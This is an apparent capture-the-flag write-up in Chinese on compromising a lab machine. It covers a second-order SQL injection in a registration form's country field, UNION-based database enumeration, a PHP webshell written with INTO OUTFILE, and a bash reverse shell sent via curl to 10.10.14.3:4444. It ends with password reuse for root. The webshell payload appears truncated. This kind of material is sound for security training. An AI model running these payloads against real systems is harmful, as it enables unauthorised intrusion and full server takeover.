第一次扫描发现系统对外开放了22,80,4566和8080端口,端口详细信息如下
系统对外开放了4个端口,从nmap的结果来看,8080无法访问,手动尝试后4566也无法访问,只能从80端口开始
访问80端口,得到如下界面,输入用户名选择国家后可以注册
填入用户名vegetable,国家选择Brazil,点击Join Now后,在burpsuite中可以看到请求包与服务器响应,注意到country也是可以修改的,服务器在收到请求后,进行了重定向,并且设置了一个名为user的cookie
页面被重定向到account.php,但是只是输出了几句话
重新创建了一个用户,另一个地方的vegetable,但是发现cookie是相同的,尝试使用在线网站解密该cookie值,发现cookie就是用户名的md5
考虑到页面让选择国家,但是burpsuite抓到的请求可以修改,在brazil参数后添加一个单引号,发送后还是会进行302跳转,但是重定向到account.php页面后,页面报错
设置Brazil' or 1=1--+,页面回显正常,设置1=2,页面回显异常
这是一个二阶sql注入
我将注册包发送至repeater,在Brazil后添加payload,发送后,会得到响应。将响应包中的cookie值复制放到account.php包,然后发送
设置order by 1,回显正常,设置order by 2,回显报错
可以判断列数为1,可以设置Brazil' union select 1--+,可以执行,并且存在回显点
设置Brazil' union select database();--+,可以执行,显示了一个数据库名
查看registration数据库中的表
Brazil' union select table_name from information_schema.tables where table_schema = 'registration'--+
可以看到有一个registration表
查看registration表中的columns
Brazil' union select column_name from information_schema.columns where table_name = 'registration'
可以看到有username,userhash,country,regtime
查看username发现只有一个vegetable
查看权限
Brazil' union select privilege_type FROM information_schema.user_privileges--+
可以看到有file权限
尝试能否写入webshell,但是报错了
Brazil' union select "hello world!" into+outfile '/var/www/html/vegetable.txt'--+
可是去请求vegetable.txt时,却能够成功访问
那么可以直接写入一个webshell
Brazil' union select "cmd']); ?>" into outfile '/var/www/html/vegetable.php'
上传后尝试访问,发现上传成功并且能够执行命令
然后可以执行一个反向shell
curl 10.10.11.116/vegetable.php --data-urlencode 'cmd=bash -c "bash -i >&/dev/tcp/10.10.14.3/4444 0>&1"'
在监听端能得到shell,可以找到user.txt
在web目录下,config.php中有认证信息
考虑密码复用,使用该密码登录root,成功!